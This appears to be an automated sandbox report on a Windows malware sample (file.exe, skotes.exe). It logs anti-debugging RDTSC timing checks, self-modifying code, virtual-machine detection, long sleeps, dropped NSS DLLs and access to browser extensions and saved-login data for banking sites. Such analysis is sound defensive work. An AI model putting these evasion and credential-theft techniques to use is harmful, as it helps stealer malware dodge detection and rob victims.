Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 83BD15 second address: 83BD1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 83C10E second address: 83C114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 83C114 second address: 83C125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9934C73DCCh 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 83C125 second address: 83C14A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F9934D1A6B5h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d ja 00007F9934D1A6B2h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 83C14A second address: 83C161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F9934C73DC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007F9934C73DE8h 0x00000012 push esi 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 83C161 second address: 83C16A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 83C16A second address: 83C16E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 83C16E second address: 83C178 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9934D1A6A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8406CE second address: 8406E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 jnl 00007F9934C73DC6h 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007F9934C73DC6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8406E7 second address: 8406EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8406EB second address: 8406EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 840C56 second address: 840C8C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F9934D1A6B0h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9934D1A6B8h 0x00000012 jo 00007F9934D1A6A6h 0x00000018 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 840C8C second address: 840C90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 840439 second address: 84043F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 80A61B second address: 80A622 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 80B696 second address: 80B6A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9934D1A6ABh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 80CD83 second address: 80CD88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 80CD88 second address: 80CDB0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9934D1A6B5h 0x00000008 jmp 00007F9934D1A6AFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jc 00007F9934D1A6ACh 0x00000018 jng 00007F9934D1A6A6h 0x0000001e rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 80CDB0 second address: 80CDB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 80CDB5 second address: 80CDBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 80ED7E second address: 80ED93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9934C73DD1h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 813DED second address: 813DF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 813EA2 second address: 813EA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 816EF2 second address: 816EF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 814D8C second address: 814E35 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9934C73DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F9934C73DD2h 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 mov di, E8B9h 0x00000017 push dword ptr fs:[00000000h] 0x0000001e push 00000000h 0x00000020 push ebx 0x00000021 call 00007F9934C73DC8h 0x00000026 pop ebx 0x00000027 mov dword ptr [esp+04h], ebx 0x0000002b add dword ptr [esp+04h], 00000017h 0x00000033 inc ebx 0x00000034 push ebx 0x00000035 ret 0x00000036 pop ebx 0x00000037 ret 0x00000038 push eax 0x00000039 sub bl, 0000003Ch 0x0000003c pop edi 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 jmp 00007F9934C73DCCh 0x00000049 mov eax, dword ptr [ebp+122D150Dh] 0x0000004f push 00000000h 0x00000051 push esi 0x00000052 call 00007F9934C73DC8h 0x00000057 pop esi 0x00000058 mov dword ptr [esp+04h], esi 0x0000005c add dword ptr [esp+04h], 0000001Dh 0x00000064 inc esi 0x00000065 push esi 0x00000066 ret 0x00000067 pop esi 0x00000068 ret 0x00000069 mov edi, dword ptr [ebp+122D2AF5h] 0x0000006f mov ebx, dword ptr [ebp+122D265Bh] 0x00000075 push FFFFFFFFh 0x00000077 push ebx 0x00000078 mov dword ptr [ebp+122D2501h], eax 0x0000007e pop ebx 0x0000007f push eax 0x00000080 pushad 0x00000081 push eax 0x00000082 push edx 0x00000083 pushad 0x00000084 popad 0x00000085 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 816EF6 second address: 816F0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9934D1A6B1h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 815D8B second address: 815E40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F9934C73DC6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F9934C73DC8h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b jmp 00007F9934C73DD4h 0x00000030 add dword ptr [ebp+122D23C5h], ebx 0x00000036 jnl 00007F9934C73DDEh 0x0000003c push dword ptr fs:[00000000h] 0x00000043 xor dword ptr [ebp+122D2D42h], eax 0x00000049 mov dword ptr fs:[00000000h], esp 0x00000050 sub dword ptr [ebp+122D30AFh], edi 0x00000056 mov eax, dword ptr [ebp+122D1249h] 0x0000005c jnc 00007F9934C73DCCh 0x00000062 push FFFFFFFFh 0x00000064 pushad 0x00000065 mov dword ptr [ebp+12458BDDh], edi 0x0000006b mov ebx, dword ptr [ebp+122D2D42h] 0x00000071 popad 0x00000072 mov dword ptr [ebp+12466E96h], ecx 0x00000078 push eax 0x00000079 push eax 0x0000007a push edx 0x0000007b push eax 0x0000007c push edx 0x0000007d jp 00007F9934C73DC6h 0x00000083 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 816F0F second address: 816F98 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push dword ptr fs:[00000000h] 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F9934D1A6A8h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b stc 0x0000002c mov dword ptr fs:[00000000h], esp 0x00000033 push 00000000h 0x00000035 push ebp 0x00000036 call 00007F9934D1A6A8h 0x0000003b pop ebp 0x0000003c mov dword ptr [esp+04h], ebp 0x00000040 add dword ptr [esp+04h], 00000019h 0x00000048 inc ebp 0x00000049 push ebp 0x0000004a ret 0x0000004b pop ebp 0x0000004c ret 0x0000004d mov di, si 0x00000050 mov eax, dword ptr [ebp+122D0729h] 0x00000056 xor edi, dword ptr [ebp+1247ADFEh] 0x0000005c push FFFFFFFFh 0x0000005e je 00007F9934D1A6A7h 0x00000064 clc 0x00000065 nop 0x00000066 push esi 0x00000067 jmp 00007F9934D1A6AAh 0x0000006c pop esi 0x0000006d push eax 0x0000006e pushad 0x0000006f pushad 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 815E40 second address: 815E4A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9934C73DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 81A666 second address: 81A697 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934D1A6B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F9934D1A6B6h 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 81CB41 second address: 81CB45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8194DC second address: 8194E7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8194E7 second address: 8194F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 81CB45 second address: 81CBFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F9934D1A6B2h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F9934D1A6A8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D17E5h], esi 0x0000002e push dword ptr fs:[00000000h] 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c jl 00007F9934D1A6ACh 0x00000042 mov dword ptr [ebp+122D23C5h], esi 0x00000048 mov eax, dword ptr [ebp+122D1221h] 0x0000004e push FFFFFFFFh 0x00000050 push 00000000h 0x00000052 push eax 0x00000053 call 00007F9934D1A6A8h 0x00000058 pop eax 0x00000059 mov dword ptr [esp+04h], eax 0x0000005d add dword ptr [esp+04h], 0000001Ch 0x00000065 inc eax 0x00000066 push eax 0x00000067 ret 0x00000068 pop eax 0x00000069 ret 0x0000006a sbb edi, 5CB1E949h 0x00000070 jmp 00007F9934D1A6AAh 0x00000075 push eax 0x00000076 pushad 0x00000077 jmp 00007F9934D1A6B7h 0x0000007c push eax 0x0000007d push edx 0x0000007e jnp 00007F9934D1A6A6h 0x00000084 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 81CBFB second address: 81CBFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 82214D second address: 822151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 822151 second address: 822155 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 81EC2F second address: 81EC33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8288B9 second address: 8288BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8416DE second address: 841709 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934D1A6B2h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F9934D1A6B3h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 841709 second address: 841718 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9934C73DCAh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 841718 second address: 84171E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 847479 second address: 84749E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934C73DCEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F9934C73DCEh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 84749E second address: 8474D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9934D1A6B6h 0x00000009 popad 0x0000000a pop edi 0x0000000b jp 00007F9934D1A6D4h 0x00000011 jmp 00007F9934D1A6AFh 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8474D5 second address: 8474D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 845E6E second address: 845E78 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9934D1A6A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 846471 second address: 846481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9934C73DCBh 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 846CFC second address: 846D00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7EE6B5 second address: 7EE6C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F9934C73DC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8472D0 second address: 8472D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8472D4 second address: 847312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 jns 00007F9934C73DDEh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F9934C73DD6h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 847312 second address: 847316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 847316 second address: 847320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F9FCD3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F9D2F6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1174FB6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 114A917 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11515A3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F9FC0D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11D6E41 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Special instruction interceptor: First address: 829B9B instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Special instruction interceptor: First address: 80F7AF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 339B9B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 31F7AF instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsFHJKKECFIE.exe

Code function: 20_2_04FD0654 rdtsc

20_2_04FD0654

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 7824	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7828	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7800	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7804	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7816	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7820	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5696	Thread sleep count: 147 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5696	Thread sleep time: -4410000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8256	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5696	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsFHJKKECFIE.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE5EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6CE5EBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000001A.00000002.2600663291.00000000002EC000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: Web Data.8.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: Web Data.8.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: Web Data.8.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: Web Data.8.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000000.00000002.1872805672.0000000000913000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.2603228244.000000000152B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.2603228244.0000000001551000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: skotes.exe, 0000001A.00000002.2603228244.00000000014EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: Web Data.8.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: Web Data.8.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: Web Data.8.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: Web Data.8.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: Web Data.8.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
